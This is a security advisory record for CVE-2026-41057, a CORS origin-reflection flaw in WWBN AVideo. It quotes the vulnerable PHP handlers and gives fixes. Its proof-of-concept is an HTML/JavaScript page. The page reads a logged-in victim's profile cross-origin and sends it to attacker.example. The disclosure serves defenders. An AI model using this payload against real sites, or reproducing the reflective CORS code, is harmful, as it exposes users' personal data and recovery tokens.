CVE-2026-41057: Wwbn/avideo WWBN AVideo Has A CORS Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ff5q-cc22-fgp4",
  "modified" : "2026-04-24T20:40:48Z",
  "published" : "2026-04-14T23:18:28Z",
  "aliases" : [ "CVE-2026-41057" ],
  "summary" : "WWBN AVideo has a CORS Origin Reflection Bypass via plugin/API/router.php and allowOrigin(true) Exposes Authenticated API Responses",
  "details" : "## Summary\n\nThe CORS origin validation fix in commit `986e64aad` is incomplete. Two separate code paths still reflect arbitrary `Origin` headers with credentials allowed for all `/api/*` endpoints: (1) `plugin/API/router.php` lines 4-8 unconditionally reflect any origin before application code runs, and (2) `allowOrigin(true)` called by `get.json.php` and `set.json.php` reflects any origin with `Access-Control-Allow-Credentials: true`. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.\n\n## Details\n\n### Bypass Vector 1: router.php independent CORS handler\n\n`plugin/API/router.php:4-8` runs before any application code:\n\n```php\n// plugin/API/router.php lines 4-8\n$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];\nif (empty($HTTP_ORIGIN)) {\n    header('Access-Control-Allow-Origin: *');\n} else {\n    header(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\n}\n```\n\nThis reflects **any** `Origin` header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately — the fixed `allowOrigin()` function never executes:\n\n```php\n// plugin/API/router.php lines 14-18\nif ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {\n    header(\"Access-Control-Max-Age: 86400\");\n    http_response_code(200);\n    exit;\n}\n```\n\nAll `/api/*` requests are routed through this file via `.htaccess` rules (lines 131-132).\n\n### Bypass Vector 2: allowOrigin($allowAll=true)\n\nBoth `plugin/API/get.json.php:12` and `plugin/API/set.json.php:12` call `allowOrigin(true)`. In `objects/functions.php:2773-2790`, the `$allowAll=true` code path reflects any origin with credentials:\n\n```php\n// objects/functions.php lines 2773-2777\nif ($allowAll) {\n    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';\n    if (!empty($requestOrigin)) {\n        header('Access-Control-Allow-Origin: ' . $requestOrigin);\n        header('Access-Control-Allow-Credentials: true');\n    }\n```\n\nThis code path was **untouched** by commit `986e64aad`, which only hardened the default (`$allowAll=false`) path.\n\n### Impact on data exposure\n\nBecause the victim's session cookies are sent with credentialed cross-origin requests, `User::isLogged()` returns true and `User::getId()` returns the victim's user ID. This means:\n\n- **Video listing endpoint** (`get_api_video`): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (`functions.php:1752`), so authenticated CORS requests receive the full data.\n- **User profile endpoint** (`get_api_user`): When `$isViewingOwnProfile` is true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.\n\n### Additional issue: Referer header fallback\n\n`router.php` line 4 falls back to `HTTP_REFERER` when `HTTP_ORIGIN` is absent, injecting an attacker-controlled full URL (not just origin) into the `Access-Control-Allow-Origin` header. This is non-standard and could cause unexpected behavior.\n\n## PoC\n\n**Step 1:** Host the following HTML on an attacker-controlled domain:\n\n```html\n<html>\n<body>\n<h1>AVideo CORS PoC</h1>\n<script>\n// Exfiltrate victim's user profile (email, admin status, PII)\nfetch('https://target-avideo.example/api/user', {\n  credentials: 'include'\n})\n.then(r => r.json())\n.then(data => {\n  document.getElementById('result').textContent = JSON.stringify(data, null, 2);\n  // Exfiltrate to attacker server\n  navigator.sendBeacon('https://attacker.example/collect', JSON.stringify(data));\n});\n</script>\n<pre id=\"result\">Loading...</pre>\n</body>\n</html>\n```\n\n**Step 2:** Victim visits attacker page while logged into AVideo.\n\n**Step 3:** The browser sends the request with victim's session cookies. `router.php` line 8 reflects the attacker's origin. `get.json.php` calls `allowOrigin(true)` which re-sets `Access-Control-Allow-Origin` to the attacker's origin with `Access-Control-Allow-Credentials: true`.\n\n**Step 4:** Browser permits cross-origin reading. Attacker receives the victim's full user profile including email, name, address, phone, admin status, and other PII.\n\n**For set endpoints (POST with custom headers requiring preflight):**\n\n```javascript\nfetch('https://target-avideo.example/api/SomeSetEndpoint', {\n  method: 'POST',\n  credentials: 'include',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({/* parameters */})\n});\n```\n\nThe preflight OPTIONS is handled by `router.php` lines 14-18, which reflect the origin and exit — the CORS fix in `allowOrigin()` never runs.\n\n## Impact\n\n- **Data theft**: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.\n- **Account information disclosure**: The user profile endpoint returns the full user record including `recoverPass` (password recovery token), `isAdmin` status, and all PII fields when accessed as the authenticated user.\n- **Action on behalf of user**: Write endpoints (`set.json.php`) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim's session.\n- **Bypass of intentional fix**: This directly circumvents the CORS hardening in commit `986e64aad`.\n\n## Recommended Fix\n\n**1. Remove the independent CORS handler from `router.php`** and let `allowOrigin()` handle all CORS logic consistently:\n\n```php\n// plugin/API/router.php - REMOVE lines 4-18, replace with:\n// CORS is handled by allowOrigin() in get.json.php / set.json.php\n// For OPTIONS preflight, we still need to handle it, but through allowOrigin():\nif ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {\n    require_once __DIR__.'/../../videos/configuration.php';\n    allowOrigin(false);  // Use the validated CORS handler\n    header(\"Access-Control-Max-Age: 86400\");\n    http_response_code(204);\n    exit;\n}\n```\n\n**2. Fix `allowOrigin($allowAll=true)` to validate origins** — or stop using it for API endpoints:\n\n```php\n// In get.json.php and set.json.php, change:\nallowOrigin(true);\n// To:\nallowOrigin(false);  // Use validated CORS for API endpoints\n```\n\nKeep `allowOrigin(true)` only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).\n\n**3. As defense-in-depth**, set `SameSite=Lax` on session cookies to prevent browsers from sending them on cross-origin requests by default.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-ff5q-cc22-fgp4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41057"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-346" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T23:18:28Z",
    "nvd_published_at" : "2026-04-21T23:16:20Z"
  }
}